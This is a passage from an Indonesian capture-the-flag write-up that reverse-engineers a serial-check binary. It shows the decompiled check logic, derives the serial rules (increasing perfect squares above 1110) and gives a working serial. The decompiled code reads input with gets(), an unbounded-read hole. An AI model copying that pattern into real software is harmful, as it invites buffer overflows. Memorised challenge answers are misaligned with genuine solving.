 start_patch += 1


# done patching
print "".join(binary)

# python patch.py > resqua_patched

Setelah dicek binary dengan file, binary masih valid sebagai file ELF. Kita coba decompile. Fungsi run() dan fungsi c() sudah dapat didecompile.

Berikut fungsi run()

unsigned __int64 run()
{
  signed int i; // [rsp+Ch] [rbp-74h]
  int v2; // [rsp+10h] [rbp-70h]
  int v3; // [rsp+14h] [rbp-6Ch]
  int v4; // [rsp+18h] [rbp-68h]
  int v5; // [rsp+1Ch] [rbp-64h]
  char dest; // [rsp+20h] [rbp-60h]
  char v7; // [rsp+24h] [rbp-5Ch]
  char nptr; // [rsp+30h] [rbp-50h]
  char v9; // [rsp+34h] [rbp-4Ch]
  char v10; // [rsp+40h] [rbp-40h]
  char v11; // [rsp+44h] [rbp-3Ch]
  char v12; // [rsp+50h] [rbp-30h]
  char v13; // [rsp+54h] [rbp-2Ch]
  char s[4]; // [rsp+60h] [rbp-20h]
  char v15; // [rsp+64h] [rbp-1Ch]
  _BYTE v16[3]; // [rsp+65h] [rbp-1Bh]
  char v17; // [rsp+69h] [rbp-17h]
  _BYTE v18[6]; // [rsp+6Ah] [rbp-16h]
  char v19; // [rsp+6Eh] [rbp-12h]
  unsigned __int64 v20; // [rsp+78h] [rbp-8h]

  v20 = __readfsqword(0x28u);
  printf("Enter a valid serial number: ");
  gets(s);
  if ( strlen(s) == 19 && v15 == 45 && v17 == 45 && v19 == 45 )
  {
    for ( i = 0; i <= 19; ++i )
    {
      if ( s[i] == 48 )
      {
        puts("\x1B[31mInvalid serial number!\x1B[0m");
        exit(1);
      }
    }
    strncpy(&dest, s, 4uLL);
    v7 = 0;
    strncpy(&nptr, v16, 4uLL);
    v9 = 0;
    strncpy(&v10, v18, 4uLL);
    v11 = 0;
    strncpy(&v12, &v18[5], 4uLL);
    v13 = 0;
    v2 = atoi(&dest);
    v3 = atoi(&nptr);
    v4 = atoi(&v10);
    v5 = atoi(&v12);
    if ( (unsigned int)c((unsigned int)v2, &v18[5])
      && (unsigned int)c((unsigned int)v3, &v18[5])
      && (unsigned int)c((unsigned int)v4, &v18[5])
      && (unsigned int)c((unsigned int)v5, &v18[5])
      && v2 < v3
      && v3 < v4
      && v4 < v5 )
    {
      puts("\x1B[32mCongrats, valid serial number!\x1B[0m");
    }
    else
    {
      puts("\x1B[31mInvalid serial number!\x1B[0m");
    }
  }
  else
  {
    puts("\x1B[31mWrong format!\x1B[0m");
  }
  return __readfsqword(0x28u) ^ v20;
}

Fungsi c()

_BOOL8 __fastcall c(signed int a1)
{
  signed int v2; // [rsp+0h] [rbp-14h]
  signed int v3; // [rsp+10h] [rbp-4h]

  v2 = a1;
  if ( a1 <= 1110 )
    return 0LL;
  v3 = 1;
  while ( v2 > 0 )
  {
    v2 -= v3;
    v3 += 2;
  }
  return v2 == 0;
}

Dari pseudocode tersebut. Didapat konstrain untuk serial number.

  1. Memiliki Panjang string 19. Dengan bentuk serial number xxxx-xxxx-xxxx-xxxx dengan x adalah angka
  2. Angka tidak boleh memiliki digit 0
  3. Angka tidak boleh <= 1110
  4. Angka1 < Angka2 < Angka3 < Angka4

Dengan skrip sederhana berikut kita dapat mendapatkan beberapa angka yang benar

arr = []

k = 1
hasil = 0
for i in range(100):
  arr.append(hasil)
  hasil += k
  k += 2

print arr

Kita misalkan pilih yang memenuhi 1681-1764-1849-1936

alfakatsuki@Ubuntu ~/Desktop> ./resqua 
Enter a valid serial number: 1681-1764-1849-1936
Congrats, valid serial number!